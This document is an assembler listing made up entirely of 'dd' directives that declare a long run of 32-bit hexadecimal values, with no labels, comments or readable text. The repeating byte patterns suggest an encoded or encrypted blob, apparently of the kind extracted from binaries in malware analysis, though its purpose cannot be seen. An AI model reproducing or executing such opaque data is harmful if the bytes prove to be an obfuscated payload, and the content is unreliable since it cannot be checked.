dd 0DDD59FD1h, 0A7A7A859h, 57A73008h, 55325858h, 404DA70Fh
dd 0F94858A8h, 4849D8C8h, 0D9EC5D5Bh, 0E4D84849h, 0A7B7A15Dh
dd 4B2D78A7h, 49DA54F9h, 5DE4D848h, 0A7A7B7A6h, 0C8DC5778h
dd 0D5585858h, 0A7A859D5h, 0A790DBA7h, 5964D818h, 0D3A12D58h
dd 49D8B445h, 549BDB48h, 2B2A8061h, 49D8F4F9h, 5DE4D848h
dd 0A7A7B7A2h, 0F9572D30h, 4849DA14h, 0A15DE4D8h, 2CA7A7B7h
dd 0C6300D2Ch, 0B04849DFh, 0A7A7DA7Ch, 3C6DE757h, 0DB4849D9h
dd 80E5B9Eh, 0A859EDD5h, 0B00EA7A7h, 0A7A7ED6Fh, 57489CDBh
dd 0D8F045E7h, 9BD94849h, 5858A7A7h, 472D8061h, 49DFC030h
dd 0D9B6B048h, 801A7A7h, 0D9BC6DD3h, 0B6DB4849h, 54320E5Ch
dd 404DA70Fh, 74858A8h, 9B910306h, 0FBDD10Dh, 0A7502DA7h
dd 49DA006Dh, 0F44DA748h, 0D1485979h, 9B05079Fh, 0B0BDD10Dh
dd 0A7A7A576h, 49DA5CF9h, 2E98DB48h, 0D8B84DD3h, 9AD94849h
dd 5858B200h, 0D97C4D5Bh, 0F7574849h, 4DA7089Ah, 4855017Ch
dd 58CB301h, 0D585C9Ah, 4CE0BDD1h, 0B0585F47h, 58587461h
dd 0D50F0E0Bh, 0A3A9D8DDh, 4DA708A7h, 4858A810h, 0A934DDD5h
dd 0D508A7A3h, 0A3A9D8DDh, 513208A7h, 49D9BCF9h, 5CB0DB48h
dd 502DA708h, 6A7C4DA7h, 9BD14851h, 49D958F9h, 785D5B48h
dd 0DB4849DAh, 9B6153B0h, 5658DD57h, 0B8F95858h, 0DB4849D8h
dd 0DDD15EB0h, 0A7A3A9F8h, 0A9D0D5D3h, 0D5D1A7A3h, 0A7A3A9C4h
dd 0A9F8D5D5h, 3009A7A3h, 4849C2F0h, 0A9C4DDD3h, 0D308A7A3h
dd 654CA760h, 58585858h, 6CF99BD1h, 5B4849DAh, 49D9145Dh
dd 52B0DB48h, 0DD579B61h, 585855EAh, 0A924DDD5h, 0D308A7A3h
dd 0A3A9F8DDh, 60D308A7h, 0D1200FA7h, 0D8E4F99Bh, 5D5B4849h
dd 4849D9B8h, 615CB0DBh, 23DD579Bh, 0D5585855h, 0A3A9F1DDh
dd 0EDA708A7h, 0A7A3A924h, 0A7C9F6B0h, 509CDBA7h, 0D11F9FD1h
dd 0A3A930E5h, 24EDA7A7h, 0A7A7A3A9h, 49376C4Dh, 0F1E5D848h
dd 30A7A3A9h, 0E5D8432Dh, 0A7A3A9F2h, 0D84A2D2Ch, 0A3A9F3E5h
dd 512D2CA7h, 0A9F4E5D8h, 2C28A7A3h, 5570B15Dh, 0DDD55858h
dd 0A7A4A9ECh, 0F8DDD308h, 8A7A3A9h, 0CFA760D3h, 585858CCh
dd 0DCF99BD1h, 5B4849D9h, 49D9D45Dh, 5DB0DB48h, 492C9B61h
dd 49D9D8F9h, 0E45D5B48h, 0D14849D8h, 0A4A9ECDDh, 0C0DDD5A7h
dd 8A7A3A9h, 0A9F8DDD3h, 0D308A7A3h, 100FA760h, 68F99BD1h
dd 104849D9h, 0DD579B61h, 58585492h, 0A9CCDDD5h, 3008A7A3h
dd 4849C270h, 0A9C0DDD3h, 0D308A7A3h, 654CA760h, 58585858h
dd 54F99BD1h, 0DB4849D9h, 9B615AB0h, 54C8DD57h, 0DDD55858h
dd 0A7A3A9C8h, 0CCDDD308h, 8A7A3A9h, 0FA760D3h, 0F99BD104h
dd 4849D97Ch, 0D8C85D5Bh, 0B0DB4849h, 579B615Eh, 585401DDh
dd 28DDD558h, 8A7A3A9h, 0A9C8DDD3h, 0D308A7A3h, 780FA760h
dd 98F99BD1h, 5B4849D9h, 49DA585Dh, 5EB0DB48h, 0DD579B61h
dd 5858547Ah, 49D98CF9h, 645D5B48h, 0DB4849DAh, 80AF5FB0h
dd 0A9FCDDD1h, 0D030A7A3h, 0B04849DFh, 0A7A7EB6Ah, 544DA708h
dd 0D1485958h, 0A4A9E4DDh, 0DF2C30A7h, 43B04849h, 8A7A7EBh
dd 58544DA7h, 0DDD14859h, 0A7A4A9E0h, 0C45DE757h, 0D34849D8h
dd 49DA744Dh, 5FB2DB48h, 0E45DCCD0h, 0F9A7A4AAh, 4849D8B8h
dd 0D9285D5Bh, 0DC9E4849h, 0A4AAEE5Dh, 10F91CA7h, 574849DAh
dd 0D8944DE7h, 88594849h, 0E45DDC9Eh, 24A7A4AAh, 0A9F1DDD5h
dd 0D508A7A3h, 0A4AA98DDh, 4DA708A7h, 4858A874h, 57489CDBh
dd 0D9CC5DE7h, 0D1104849h, 0A3A92CDDh, 0D94CF9A7h, 5D5B4849h
dd 4849D908h, 0D15DB0DBh, 0A3A920DDh, 5DE757A7h, 4849D93Ch
dd 0D9E45D5Bh, 0B0DB4849h, 6180AF5Eh, 0A3A9FCDDh, 0D51F2DA7h
dd 0A4A9F4DDh, 0DDD308A7h, 0A7A3A9CCh, 0A760D308h, 9BD1600Fh
dd 485DE757h, 0DB4849DAh, 9B615DB0h, 52BEDD57h, 3B305858h
dd 0B04849DFh, 0A7A72624h, 98E5D508h, 0FA7A4AAh, 0A8744DA7h
dd 9CDB4858h, 5944B154h, 9F3E5858h, 0A3A900DDh, 0D3584FA7h
dd 0A3A9FCDDh, 38DDD1A7h, 0D5A7A3A9h, 0A3A910DDh, 0DDD508A7h
dd 0A7A3A900h, 0C8DDD308h, 8A7A3A9h, 0EA768D3h, 20DDD544h
dd 8A7A3A9h, 49C22030h, 8EDA748h, 0D3A7A3A9h, 0A3A908E5h
dd 0A767D3A7h, 5858654Ch, 9BD15858h, 49D9A0F9h, 0DC5D5B48h
dd 0DB4849D9h, 9B615FB0h, 5206DD57h, 0DDD55858h, 0A7A3A92Ch
dd 20DDD308h, 8A7A3A9h, 0CFA760D3h, 58585888h, 60F99BD1h
dd 5B4849DAh, 49DA445Dh, 5CB0DB48h, 492C9B61h, 0A920DDD3h
dd 0D308A7A3h, 500EA768h, 58527BB1h, 0F4DDD558h, 8A7A4A9h
dd 0A92CDDD3h, 0D308A7A3h, 600FA760h, 58F99BD1h, 5B4849D9h
dd 49DA6C5Dh, 49B0DB48h, 452C9B61h, 0A92CDDD3h, 0D308A7A3h
dd 500EA768h, 0A920DDD3h, 0D308A7A3h, 500EA768h, 585187B1h
dd 0DF0C3058h, 2DB04849h, 0A7A7A725h, 0A3A9FCEDh, 0E5D508A7h
dd 0A7A4A999h, 704DA70Fh, 0D5485501h, 0A4A999DDh, 0DDD508A7h
dd 0A7A4AA98h, 744DA708h, 0DB4858A8h, 0DDD5409Ch, 0A7A4A9F0h
dd 0F4DDD308h, 8A7A4A9h, 0FA760D3h, 0F99BD17Ch, 4849D890h
dd 0D8FC5D5Bh, 0B0DB4849h, 579B6150h, 585127DDh, 5DE75758h
dd 4849D89Ch, 0D15EB0DBh, 0A4A9E8DDh, 5100B1A7h, 9F3E5858h
dd 0A1A968DDh, 0D3585AA7h, 0A4A9E8DDh, 60DDD1A7h, 57A7A1A9h
dd 0D99C5DE7h, 5D5B4849h, 4849D9ACh, 0D9044DD3h, 0B2DB4849h
dd 5DCCD05Ch, 0A7A2A90Ch, 0A918DDD5h, 0D508A7A1h, 0A1A968EDh
dd 48B4DBA7h, 5CE1BFD1h, 0AB585858h, 68EDD5FDh, 0DBA7A1A9h
dd 0BFD148B4h, 58585CE1h
dd 0D3FDAB58h, 0A4A9F4E5h, 67D30FA7h, 0D1740FA7h, 5DE7579Bh
dd 4849D89Ch, 615EB0DBh, 8DDD579Bh, 30585850h, 4849DF1Eh
dd 0A724DBB0h, 0E8EDA7A7h, 8A7A4A9h, 0A999E5D5h, 0A70FA7A4h
dd 5501704Dh, 99DDD548h, 8A7A4A9h, 0AA98DDD5h, 0A708A7A4h
dd 58A8744Dh, 409CDB48h, 945DE757h, 5B4849D8h, 49D9BC5Dh
dd 5DB0DB48h, 0A974DDD1h, 0DDD5A7A1h, 0A7A1A974h, 0C2103008h
dd 0DDD34849h, 0A7A1A918h, 0A760D308h, 5858654Ch, 9BD15858h
dd 49DA74F9h, 7C5D5B48h, 0DB4849DAh, 9B6150B0h, 5CEFDD57h
dd 0DDD55858h, 0A7A1A970h, 74DDD308h, 8A7A1A9h, 0CFA760D3h
dd 585858A8h, 0CF99BD1h, 5B4849D9h, 49D92C5Dh, 57B0DB48h
dd 0DD579B61h, 58585C25h, 0A939DDD5h, 0A708A7A1h, 0A1A970EDh
dd 0D48DB0A7h, 9CDBA7A7h, 1F9FD150h, 0A910E5D1h, 0EDA7A7A1h
dd 0A7A1A970h, 376C4DA7h, 10F94849h, 0DB4849DAh, 0DDD15CB0h
dd 0A7A3A93Ch, 0DDD312B3h, 0A7A3A93Ch, 5DDCE657h, 0A7A1A939h
dd 0D9F44DD3h, 9ADB4849h, 2C886153h, 6C4DD34Bh, 0DB4849D9h
dd 4D5B5C9Ah, 4849D928h, 4E2D8861h, 0A93CDDD3h, 4DD3A7A3h
dd 4849D904h, 0D05CB2DBh, 0A9395DCCh, 0DDA7A7A1h, 0A7A3A93Ch
dd 0A910DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 0DDD5F02Ah, 0A7A1A939h
dd 3DDDD508h, 8A7A2A9h, 587E40B0h, 5DE75758h, 4849D8C4h
dd 0D97C5D5Bh, 0B0DB4849h, 3CDDD150h, 0D3A7A3A9h, 0A3A93CDDh
dd 5DD4D5A7h, 0A7A1A939h, 18A790DBh, 585964D8h, 0DDD1A12Dh
dd 0A7A1A900h, 0DA644DD3h, 89D14849h, 90618959h, 0E757402Ch
dd 49DA404Dh, 0B855D348h, 0D54849D8h, 589A52CCh, 88615858h
dd 88B15D2Eh, 57585858h, 0DA1C5DE7h, 0B0DB4849h, 4DDD15Fh
dd 0B3A7A1A9h, 3CDDD370h, 5BA7A3A9h, 0A1A904DDh, 0DCE657A7h
dd 0A1A9395Dh, 4DE757A7h, 4849D8A4h, 61469ADBh, 0A74C2D88h
dd 0A1A904DDh, 0DDD3A7h, 61A7A1A9h, 0A1A904DDh, 0D3922AA7h
dd 0A1A900DDh, 4DD61A7h, 2CA7A1A9h, 5DE75722h, 4849D8A4h
dd 0DDD30810h, 0A7A3A93Ch, 395DDCD5h, 8A7A1A9h, 0A93DDDD5h
dd 0B008A7A2h, 0A7A7F5D7h, 0D1549CDBh, 0A1A97CDDh, 0D9D8F9A7h
dd 0AF5D4849h, 5B5858A7h, 49DA6C5Dh, 7CDD6148h, 2DA7A1A9h
dd 0DF19306Eh, 61B04849h, 8A7A722h, 0A93DE5D5h, 0A70FA7A2h
dd 58A8744Dh, 3CDDD348h, 0D5A7A3A9h, 0A9395DDCh, 0D508A7A1h
dd 0A2A93DDDh, 4DA708A7h, 4858A874h, 0D34C9CDBh, 0A1A900DDh
dd 0C44DD3A7h, 5B4849D9h, 49D9984Dh, 5CB2DB48h, 0DD598859h
dd 0A7A3A93Ch, 0A910DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 0A6E1DA57h
dd 54F9A7A7h, 0DB4849DAh, 0DDD15CB0h, 0A7A1A914h, 0A93DD5D5h
dd 90DBA7A2h, 64D818A7h, 0A12D5859h, 0A900DDD1h, 98F9A7A1h
dd 0DB4849D9h, 0DDD159B0h, 0A7A3A93Ch, 585A4BB1h, 3CDDD358h
dd 57A7A3A9h, 3D5DDCEEh, 0D3A7A2A9h, 49D96C4Dh, 4D9ADB48h
dd 0D8C04D5Bh, 88614849h, 0FDDB5F2Ch, 0A7A1A90Ch, 3CDDD358h
dd 57A7A3A9h, 3D5DDCEEh, 0D3A7A2A9h, 49D9844Dh, 789ADB48h
dd 0DD578861h, 5858592Ah, 49D9DCF9h, 5CB0DB48h, 0A93CDD61h
dd 0DE57A7A3h, 585858E8h, 0A93CDDD3h, 0E757A7A3h, 49D9704Dh
dd 4D5B48h, 0DB4849D9h, 88715FB2h, 3D5DDCD2h, 0D0A7A2A9h
dd 0A1A97BDDh, 0DDEE57A7h, 0A7A1A97Bh, 0D9144DD3h, 9ADB4849h
dd 26886146h, 0B04DD355h, 0DB4849D8h, 8861779Ah, 0EE573824h
dd 0A1A97BDDh, 4DE757A7h, 4849D93Ch, 0D9F455D3h, 0CD54849h
dd 88616E52h, 0E7574D26h, 49D9944Dh, 0F855D348h, 0D54849D9h
dd 6168520Ch, 57772488h, 0A97BDDEEh, 0E757A7A1h, 49D9CC4Dh
dd 0B855D348h, 0D54849D8h, 612B520Ch, 0D3452688h, 49D8F44Dh
dd 209ADB48h, 0D9844D5Bh, 88614849h, 0DD9F5225h, 0A7A1A90Ch
dd 58585859h, 0A900DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 58C4DB57h
dd 0DDD35858h, 0A7A3A93Ch, 0D8C04DD3h, 0B2DB4849h, 0D2885950h
dd 0A93D5DDCh, 0DDD0A7A2h, 0A7A1A97Bh, 7BDDEE57h, 0D3A7A1A9h
dd 49D9AC4Dh, 4D9ADB48h, 0DA5C4D5Bh, 88614849h, 4DD34E26h
dd 4849D9D0h, 57719ADBh, 0D8CC55E7h, 92594849h, 1C248861h
dd 7BDDEE57h, 0D3A7A1A9h, 49DA444Dh, 6D9ADB48h, 55268861h
dd 0D9A04DD3h, 9ADB4849h, 24886166h, 0DDEE577Bh, 0A7A1A97Bh
dd 604DE757h, 0DB4849D9h, 88612F9Ah, 0E7574026h, 49D8944Dh
dd 269ADB48h, 52258861h, 0A90CDD9Fh, 5859A7A1h, 0E5DB5858h
dd 0A7A1A90Ch, 0D3782D58h, 0A1A914DDh, 3CCDD3A7h, 0D2A7A3A9h
dd 0A93D4DCCh, 0CCD0A7A2h, 0A2A93D5Dh, 14DDA7A7h, 0D3A7A1A9h
dd 0A3A93CDDh, 0DCEE57A7h, 0A2A93D5Dh, 804DD3A7h, 0DB4849D8h
dd 4D5B409Ah, 4849D954h, 522D8861h, 0A90CDD9Fh, 5859A7A1h
dd 0DDA75858h, 0A7A3A93Ch, 0A900DDD3h, 0DD61A7A1h, 0A7A3A93Ch
dd 0A583DA57h, 0DDD3A7A7h, 0A7A1A914h, 0D9E84DD3h, 0E7574849h
dd 49D8C455h, 0DB925948h, 0CCD055B2h, 0A2A93D5Dh, 74DDD3A7h
dd 8A7A1A9h, 0EA768D3h, 5DE75750h, 4849D964h, 0D151B0DBh
dd 0A1A908DDh, 8DDD5A7h, 8A7A1A9h, 49C20030h, 18DDD348h
dd 8A7A1A9h, 4CA760D3h, 58585865h, 0F99BD158h, 4849DA5Ch
dd 0D9D85D5Bh, 0B0DB4849h, 579B615Ah, 585AB6DDh, 1CDDD558h
dd 8A7A1A9h, 0A908DDD3h, 0D308A7A1h, 340FA760h, 7CF99BD1h
dd 574849D9h, 0D9704DE7h, 88594849h, 615FB0DBh, 0ECDD579Bh
dd 0F958585Ah, 4849DA6Ch, 0D150B0DBh, 0A2A938DDh, 5AD7B1A7h
dd 38F95858h, 5B4849D9h, 49D92C5Dh, 56B0DB48h, 7C4DA708h
dd 1485501h, 0A0DD9F3Eh, 5AA7A0A8h, 38DDD358h, 0D1A7A2A9h
dd 0A0A958DDh, 0ACDDD5A7h, 8A7A0A8h, 0A8A0EDD5h, 0B4DBA7A0h
dd 0E1BFD148h, 5858585Ch, 0EDD5FDABh, 0A7A0A8A0h, 0D148B4DBh
dd 585CE1BFh, 0FDAB5858h, 0A908E5D3h, 0D30FA7A1h, 2C0FA767h
dd 0E7579BD1h, 49DA485Dh, 4DE75748h, 4849D894h, 0B0DB8859h
dd 579B615Eh, 585A52DDh, 5DE75758h, 4849D8CCh, 0D8F85D5Bh
dd 0B0DB4849h, 54DDD15Dh, 0D5A7A0A9h, 0A0A954DDh, 103008A7h
dd 0D34849C2h, 0A0A8ACDDh, 60D308A7h, 58654CA7h, 0D1585858h
dd 5DE7579Bh, 4849D9F0h, 0DA785D5Bh, 0B0DB4849h, 579B615Ah
dd 5859EADDh, 48DDD558h, 8A7A1A9h, 705DE757h, 0DB4849D9h
dd 0A7085DB0h, 0A4A9E0EDh, 54DDD3A7h, 8A7A0A9h, 0FA760D3h
dd 519BD178h, 3E522D83h, 0A948E5DBh, 2C50A7A1h, 5935B15Dh
dd 54F95858h, 5B4849DAh, 49D9D45Dh, 4DE75748h, 4849D964h
dd 0D051B2DBh, 0A9545DCCh, 0DDD5A7A0h, 0A7A0A949h, 40EDA708h
dd 0B0A7A1A9h, 0A7A7DEFFh, 0D1509CDBh, 0E5D11F9Fh, 0A7A0B8A8h
dd 0A940EDA7h, 4DA7A7A1h, 4849376Ch, 49D96CF9h, 4DE75748h
dd 4849D8CCh, 4DCCE657h, 0A7A0A957h, 995999D1h, 0B0DB90D1h
dd 579A615Ch, 58595ADCh, 0ECEDA758h, 0D5A7A4A9h, 0A0A949DDh
dd 26B008A7h, 0DBA7A715h, 0DDD5509Ch, 0A7A1A948h, 0D978F908h
dd 0B0DB4849h, 0EDA70850h, 0A7A4A9E4h, 0A954DDD3h, 0D308A7A0h
dd 780FA760h, 78F99BD1h, 5B4849DAh, 49DA145Dh, 4DE75748h
dd 4849D940h, 0D050B2DBh, 0B8B25DCCh, 8351A7A0h, 0DB3E6C2Dh
dd 0A1A948E5h, 722D50A7h, 0B8ADDDD5h, 0A708A7A0h, 0A1A940EDh
dd 0DDADB0A7h, 9CDBA7A7h, 1F9FD150h, 0B8B4E5D1h, 0EDA7A7A0h
dd 0A7A1A940h, 376C4DA7h, 61304849h, 0B04849DFh, 0A7A72C94h
dd 0A938EDA7h, 0D508A7A2h, 0A4A999E5h, 4DA70FA7h, 48550170h
dd 0A999DDD5h, 0D508A7A4h
dd 0A4AA98DDh, 4DA708A7h, 4858A874h, 0B8ADDDD5h, 0D508A7A0h
dd 0A4AA98DDh, 4DA708A7h, 4858A874h, 49DF6C30h, 2CDEB048h
dd 0D508A7A7h, 0A4AA98E5h, 4DA70FA7h, 4858A874h, 0A949DDD5h
dd 0D508A7A0h, 0A4AA98DDh, 4DA708A7h, 4858A874h, 0D36C9CDBh
dd 0A0A954DDh, 68D308A7h, 0D3500EA7h, 0A0A8ACDDh, 68D308A7h
dd 0A7500EA7h, 0A2A938DDh, 1CDDD3A7h, 61A7A1A9h, 0A2A938DDh
dd 7DA57A7h, 0D3A7A7A5h, 0A1A908DDh, 68D308A7h, 0D3500EA7h
dd 0A1A918DDh, 68D308A7h, 57500EA7h, 0A93DDDEEh, 4DD3A7A2h
dd 4849D974h, 0D9D84D5Bh, 0B2DB4849h, 2C886150h, 0DF76301Fh
dd 0ADB04849h, 8A7A72Bh, 0AA98E5D5h, 0A70FA7A4h, 58A8744Dh
dd 3DDDD548h, 8A7A2A9h, 0AA98DDD5h, 0A708A7A4h, 58A8744Dh
dd 0DF713048h, 91B04849h, 8A7A72Bh, 0AA98E5D5h, 0A70FA7A4h
dd 58A8744Dh, 789CDB48h, 0A9E8DDA7h, 0DDD3A7A4h, 0A7A4A9F0h
dd 0A9E8DD61h, 0DA57A7A4h, 0A7A7AECEh, 0A9FCDDA7h, 0DDD3A7A3h
dd 0A7A3A928h, 0A9FCDD61h, 0D457A7A3h, 0A7A7ACC7h, 0AA98DDD5h
dd 0A708A7A4h, 5501444Dh, 0EDA70148h, 0A7A4A9E0h, 376C4DA7h
dd 0EDA74849h, 0A7A4A9E4h, 376C4DA7h, 0DDD34849h, 0A7A3A9C8h
dd 0A768D308h, 0DDD3500Eh, 0A7A3A9CCh, 0A768D308h, 0DDD3500Eh
dd 0A7A3A9C0h, 0A768D308h, 0DDD3500Eh, 0A7A3A9C4h, 0A768D308h
dd 607500Eh, 0D9B9103h, 0E030BDD1h, 0A748597Dh, 5D71A04Dh
dd 7DE0F948h, 9A054859h, 0D10D585Ch, 0B0809BDh, 58320F0Eh
dd 5858D830h, 325B3258h, 305B3258h, 0D8585858h, 0A7502DA7h
dd 4933404Dh, 0DB9FD148h, 462DA7A7h, 585425DBh, 1DD34C2Ch
dd 784DD354h, 5B4849DAh, 49D9C44Dh, 5EB2DB48h, 986948D1h
dd 0ECF917B3h, 0DB4849D9h, 0F085CB0h, 1484DA7h, 9ED14851h
dd 84898DBh, 4DA71832h, 485D71B4h, 6DA79BD1h, 4849D9A4h
dd 585425DBh, 1DD3502Ch, 0A01DD154h, 1DD55EB3h, 0A01DD1A4h
dd 0EA02DA7h, 4DA70F0Bh, 4858A86Ch, 104DA70Fh, 0D1485111h
dd 3060780h, 59E09B91h, 9AD85818h, 300F5848h, 4849DF41h
dd 0A72A3FB0h, 0A70801A7h, 597DC04Dh, 0DA20FB48h, 30F94849h
dd 5B4849D9h, 49D9245Dh, 51B0DB48h, 0DA205D61h, 4F2D4849h
dd 49DF5130h, 2A62B048h, 801A7A7h, 6A404DA7h, 20FB485Dh
dd 304849DAh, 4849DEB4h, 0A72A7BB0h, 0F9B008A7h, 0FB58585Ch
dd 485D69BCh, 49DE9730h, 2A56B048h, 0B008A7A7h, 58585CD4h
dd 5979F0FBh, 0DE983048h, 0A1B04849h, 8A7A729h, 585C2FB0h
dd 15CFB58h, 0FF304851h, 0B04849DEh, 0A7A729BCh, 5C3AB008h
dd 44FB5858h, 30485110h, 4849DED4h, 0A72997B0h, 15B008A7h
dd 0FB58585Ch, 4858A808h, 49DE2B30h, 29E2B048h, 0B008A7A7h
dd 58585C60h, 58A878FBh, 0DE073048h, 0FDB04849h, 8A7A729h
dd 585C7BB0h, 130FB58h, 11304849h, 0B04849DEh, 0A7A729C8h
dd 5C56B008h, 84FB5858h, 30485D71h, 4849DE73h, 0A72923B0h
dd 0A1B008A7h, 0FB58585Bh, 485D71B0h, 49DE4230h, 293EB048h
dd 0B008A7A7h, 58585BBCh, 597DC4FBh, 0DE523048h, 9B04849h
dd 8A7A729h, 585B97B0h, 7DF8FB58h, 0B2304859h, 0B04849DDh
dd 0A7A72964h, 5BE2B008h, 50FB5858h, 30485958h, 4849DD8Bh
dd 0A7297FB0h, 0FDB008A7h, 0FB58585Bh, 48510154h, 49DDE730h
dd 294AB048h, 0B008A7A7h, 58585BC8h, 5978D8FBh, 0DDF33048h
dd 0A5B04849h, 8A7A728h, 585B23B0h, 209CDB58h, 58A814FBh
dd 0D9B0748h, 0A70FBDD1h, 6DA7502Dh, 4849DA04h, 79F44DA7h
dd 9FD14859h, 0D9B0507h, 0B09BDD1h, 1DEE570Fh, 5852E150h
dd 95E25858h, 0AF949494h, 5BB299BAh, 0D1A40DD1h, 399FDB8Fh
dd 5D0A3D1h, 5025D850h, 0D85C2D32h, 0D259501Dh, 3D64501Dh
dd 21644C2Ch, 2D64482Ch, 3164542Ch, 3764502Ch, 39645C2Ch
dd 1DD85C2Dh, 0EE575950h, 307501Dh, 0D10D9B91h, 4858E0BDh
dd 76B05858h, 0E585843h, 0A75D320Fh, 4DA7502Dh, 4858A85Ch
dd 54F99FD1h, 0DB4849DAh, 9F615CB0h, 98695C2Dh, 0A73009B3h
dd 0D5585857h, 0A7A859DDh, 0A70F08A7h, 5957884Dh, 5DE75748h
dd 4849D940h, 85FB0DBh, 0D5542DA7h, 0A7A859DDh, 8B008A7h
dd 0DBA7A7FBh, 6DD3549Ch, 4849D8BCh, 0A7A29ED9h, 0A8615858h
dd 0A0D15C2Ch, 5A3255B3h, 5C4DA70Fh, 0D14858A8h, 7C7B39Fh
dd 0D9B9106h, 0B09BDD1h, 5D30F0Eh, 0D978F950h, 9ED14849h
dd 0D8806D5Bh, 0B6DB4849h, 65E75756h, 4849D99Ch, 0B350B7DBh
dd 4CEF5712h, 5415D323h, 2154EF57h, 0AA599259h, 0F9A40DD1h
dd 4849D9F4h, 58A7A55Dh, 2E9A6158h, 6DE75741h, 4849D994h
dd 0F950B6DBh, 4849D9D8h, 5958585Dh, 0A41D7158h, 6DD351B3h
dd 4849D928h, 0D35CB6DBh, 0D13EA40Dh, 571F234Ch, 0D9FC5DE7h
dd 98DB4849h, 2A9F6142h, 7A8D1F0h, 9B910306h, 0DBBDD10Dh
dd 0E0B70B4h, 581BE60Fh, 4DB35858h, 0D8B045D3h, 455B4849h
dd 4849D984h, 0ED44D113h, 48493378h, 2A6DB1Eh, 1BE7BE2Eh
dd 0B1585858h, 585859FBh, 49DDFB30h, 3762B048h, 80FA7A7h
dd 0BAA05D5h, 1704DA7h, 58F94855h, 5B4849D9h, 49D9E45Dh
dd 57B0DB48h, 7C4DA708h, 0DB485501h, 45D34C9Ch, 4849DA74h
dd 615FB3DBh, 3378E544h, 1D2C4849h, 405DE757h, 0DB4849D9h
dd 1DD150B0h, 0B41DD5B4h, 0E56CA708h, 48493378h, 1144DA7h
dd 25D94849h, 58595BB4h, 0A7462C58h, 3378E56Ch, 4DA74849h
dd 48511110h, 7045E757h, 0DB4849D9h, 44D15DB3h, 493378E5h
dd 0AA1DD548h, 3C4DA708h, 0D1484901h, 0A0DBA41Dh, 0DB1A2C5Bh
dd 652C5CA0h, 2C5AA0DBh, 1445D360h, 5B4849DAh, 49D8B845h
dd 57B3DB48h, 78E54461h, 57484933h, 5858BDDCh, 45E75758h
dd 4849D89Ch, 0D9E8455Bh, 0B3DB4849h, 0E544D155h, 48597DB8h
dd 585891B1h, 0A7593258h, 5957984Dh, 841DD548h, 0BC1DD508h
dd 0B81DD508h, 0B01DD508h, 0AA1DD508h, 0D04DA708h, 0D3485978h
dd 49D9B445h, 5BB3DB48h, 762D8061h, 0D96C45D3h, 0B3DB4849h
dd 0E544615Ah, 48493378h, 58DCDC57h, 45D35858h, 4849D904h
dd 0D978455Bh, 0B3DB4849h, 0E544D154h, 48597DB8h, 45D334B3h
dd 4849D8E4h, 0A04DE757h, 594849D8h, 5DB3DB8Bh, 78E54461h
dd 2D484933h, 0E564D109h, 48597DB8h, 8801DD5h, 49D8E4F9h
dd 4DE75748h, 4849D9C8h, 0B0DB8859h, 44D50850h, 597DB8E5h
dd 47300B48h, 0D3485816h, 49D95845h, 0B0455B48h, 0DB4849D8h
dd 0D30B52B3h, 49D95445h, 5AB3DB48h, 784DA70Bh, 0D1484937h
dd 3378E55Ch, 0DB1F4849h, 0DE5702A7h, 0A7A7A60Ch, 49D9E8F9h
dd 5FB0DB48h, 7C4DA708h, 1485501h, 0A7A66DB1h, 30607A7h
dd 585C9A91h, 0FBDD10Dh, 0A7502DA7h, 49DA206Dh, 0F44DA748h
dd 0D1485979h, 9B05079Fh, 0BBDD10Dh, 2DD30F0Eh, 4825D354h
dd 49C2C030h, 4DA70E48h, 48550164h, 482C9851h, 0D1501DD3h
dd 0D36FA75Fh, 5C0BA740h, 0DB39869h, 49C24030h, 4DA70E48h
dd 48550164h, 482C9851h, 0D1501DD3h, 0D36FA75Fh, 5C0BA740h
dd 6DB39869h, 49C18030h, 4DA70E48h, 48550164h, 482C9851h
dd 0D1501DD3h, 0D36FA75Fh, 5C0BA740h, 4DB39869h, 49DA54F9h
dd 0C05D5B48h, 0DB4849D8h, 5FD155B0h, 58185AE0h, 30607D8h
dd 58549A05h, 0DDCD300Fh, 89B04849h, 1A7A734h, 0C04DA708h
dd 0FB48597Dh, 4849DA28h, 0F05DE757h, 614849D8h, 49DA285Dh
dd 304F2D48h, 4849DDDFh
dd 0A734F3B0h, 0A70801A7h, 5D6A404Dh, 0DA28FB48h, 58F94849h
dd 5B4849D9h, 49D9F85Dh, 49B0DB48h, 0DA285D61h, 442C4849h
dd 3C5DE757h, 0DB4849D9h, 0A7085C98h, 49DA286Dh, 0F44DA748h
dd 0FB485979h, 4858A87Ch, 0D10D9B07h, 70B4DBBDh, 0D30F0E0Bh
dd 0D31E542Dh, 49DA6465h, 479FDB48h, 98DDA8D1h, 0A75D5D25h
dd 99585858h, 45D350A0h, 4849D898h, 0D15F9BDBh, 8BF7579Ah
dd 25D18F59h, 6C65D3A0h, 0DB4849D9h, 0A8D14B9Fh, 5D2598DDh
dd 5858A75Dh, 50A09958h, 0AC45E757h, 0DB4849D8h, 9AD1579Bh
dd 598BF757h, 0AC25D18Fh, 0D9AC65D3h, 9FDB4849h, 0DDA8D140h
dd 5D5D2598h, 5858A7A7h, 5748A099h, 0D91C45E7h, 55D34849h
dd 4849D9D8h, 4B5304D5h, 0F7579AD1h, 0D18F598Bh, 0A8D1A825h
dd 5858A77Dh, 0ACB00858h, 0D1A7A7A2h, 0B705D09Bh, 3DAFA8D1h
dd 0BC1DD1A8h, 5858A77Dh, 84B00858h, 0D1A7A7A2h, 0B605D09Bh
dd 3DAFA8D1h, 0B81DD1A0h, 5858A77Dh, 9CB00858h, 0D1A7A7A2h
dd 0A705D09Bh, 49D890F9h, 2898DB48h, 0F757AAD1h, 7D88D188h
dd 585858A7h, 2AE7B008h, 9BD1A7A7h, 57B505D0h, 0DA485DE7h
dd 4DD34849h, 4849D97Ch, 5D481CD5h, 0F757AAD1h, 7D88D188h
dd 585858A7h, 2ACFB008h, 9BD1A7A7h, 0F9B405D0h, 4849D930h
dd 0D17598DBh, 88F757AAh, 0A77D88D1h, 8585858h, 0A72A20B0h
dd 0D09BD1A7h, 0A8D1B305h, 0D1AC3DAFh, 0A77D841Dh, 8585858h
dd 0A7A21EB0h, 0D09BD1A7h, 90F9B205h, 0DB4849D8h, 0AAD11A98h
dd 0D188F757h, 58A77D88h, 0B0085858h, 0A7A7A27Fh, 5D09BD1h
dd 0DA5CF9B1h, 98DB4849h, 4DE7571Dh, 4849D8CCh, 0AAD18859h
dd 0D188F757h, 58A77D88h, 0B0085858h, 0A7A72A41h, 0D17C9CDBh
dd 0B005D09Bh, 0A725EE57h, 0B089A0D1h, 886DE757h, 5B4849D8h
